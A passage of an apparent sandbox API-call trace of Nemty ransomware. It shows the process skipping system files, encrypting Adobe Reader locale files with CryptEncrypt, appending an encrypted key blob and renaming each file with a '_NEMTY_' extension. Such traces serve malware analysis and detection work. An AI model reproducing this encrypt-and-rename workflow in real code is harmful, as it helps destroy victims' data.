lstrcmpiW (lpString1="Multimedia.DEU", lpString2="...") returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="windows") returned -1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="rsa") returned -1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="NTDETECT.COM") returned -1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="ntldr") returned -1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="MSDOS.SYS") returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="IO.SYS") returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="boot.ini") returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="boot.ini") returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="ntuser.dat") returned -1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="desktop.ini") returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="CONFIG.SYS") returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="RECYCLER") returned -1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="bootmgr") returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="programdata") returned -1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="appdata") returned 1 [0175.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DEU", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DEU", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.DEU", lpUsedDefaultChar=0x0) returned 14 [0175.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DEU", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DEU", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.DEU", lpUsedDefaultChar=0x0) returned 14 [0175.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DEU", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DEU", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.DEU", lpUsedDefaultChar=0x0) returned 14 [0175.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DEU", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DEU", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.DEU", lpUsedDefaultChar=0x0) returned 14 [0175.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.197] Sleep (dwMilliseconds=0x5) [0175.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c133750, dwHighDateTime=0x1d561e8)) [0175.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c133750, dwHighDateTime=0x1d561e8)) [0175.205] GetLastError () returned 0x0 [0175.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.205] GetLastError () returned 0x0 [0175.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.205] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.205] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.205] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.205] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="+Yd249Fqnk5cpR6N8GWK05JWHuPjBY+0QZ17OM11ZuVRuwt0oL8SsxDaZIicETwH\r\nqSD3mU8g/Bn4kyuJPcWcfBEhuGe2W/yyHJf/vXpXIrWDwcHgPBEnlwm68aJ0ejwy\r\neqPatL6jx0bKK7yNHG9uDz7Y+XOXW34N3ZAvVTA9QafTjxjGm3v1KskQe2clj2cX\r\nsCi7PGV/Jb/Eb8AeC25c3kw7pyWNsUJJxC9qHlTFPCx48CYkjIDETF7Mr48/IJ4u\r\n4j+gPs/PqFVic3C8bqGUK33Jj7b8fFZYxuRSDvpH/LhgpeHzLe2jaTFEsWE0zdju\r\nsbfNU1EycFcSTtC4svs7ZQ==\r\n", pcchString=0x653e5dc) returned 1 [0175.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.206] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Multimedia.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\multimedia.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.206] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=83456) returned 1 [0175.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14600) returned 0x6352c48 [0175.206] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.206] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x14600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x14600, lpOverlapped=0x0) returned 1 [0175.215] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.215] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x14600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x14600, lpOverlapped=0x0) returned 1 [0175.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.215] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=83456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14600 [0175.215] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.215] CloseHandle (hObject=0x2e8) returned 1 [0175.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.216] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Multimedia.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\multimedia.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Multimedia.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\multimedia.deu._nemty_kgobjgd_")) returned 1 [0175.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.216] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.DEU", cAlternateFileName="")) returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2=".") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="..") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="...") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="windows") returned -1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="rsa") returned -1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="NTDETECT.COM") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="ntldr") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="MSDOS.SYS") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="IO.SYS") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="boot.ini") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="boot.ini") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="ntuser.dat") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="desktop.ini") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="CONFIG.SYS") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="RECYCLER") returned -1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="bootmgr") returned 1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="programdata") returned -1 [0175.217] lstrcmpiW (lpString1="pddom.DEU", lpString2="appdata") returned 1 [0175.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DEU", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.DEU", lpUsedDefaultChar=0x0) returned 9 [0175.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DEU", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.DEU", lpUsedDefaultChar=0x0) returned 9 [0175.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DEU", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.DEU", lpUsedDefaultChar=0x0) returned 9 [0175.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DEU", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.DEU", lpUsedDefaultChar=0x0) returned 9 [0175.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.218] Sleep (dwMilliseconds=0x5) [0175.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c17fa10, dwHighDateTime=0x1d561e8)) [0175.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c17fa10, dwHighDateTime=0x1d561e8)) [0175.233] GetLastError () returned 0x0 [0175.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.233] GetLastError () returned 0x0 [0175.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.233] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.233] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.233] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.233] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="AfJwUmr9XywNNx+QnFJBaOpApiK4OlqwejrdzDmO0tnrSYhhYn4xC4lD0J13XeGw\r\nzrxp/Qg0yfigSin8+EXemtVnNLm9CP7XXZQ1lATyNI1rsa6dxgtZX9r28gHIbJ0/\r\n/80m+BOKW7OI+WyqbhEyoo1xQWE+Izq1+QW0pn1vBKRkCGGf2744DcW+ho89ZYVb\r\nbxvc1RANWzbxPy7yooOX1kfzreH8r4QWyxJm87JQ0BJrgUWBv9OyB1ThR9I6K1Um\r\ngHfiy3VvDZNuvyU2G3DiIOdywmdoEA6oCCum/2bIYR8yAKQLhS/DktLyTDSaHUIR\r\nm/765EZRLj32H48CtOMNgA==\r\n", pcchString=0x653e5dc) returned 1 [0175.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.233] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\pddom.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\pddom.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.234] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0175.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0175.234] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.234] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0175.236] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.236] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0175.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.236] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0175.236] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.236] CloseHandle (hObject=0x2e8) returned 1 [0175.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0175.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0175.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0175.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.236] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\pddom.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\pddom.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\pddom.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\pddom.deu._nemty_kgobjgd_")) returned 1 [0175.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0175.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.237] HeapFree (in: 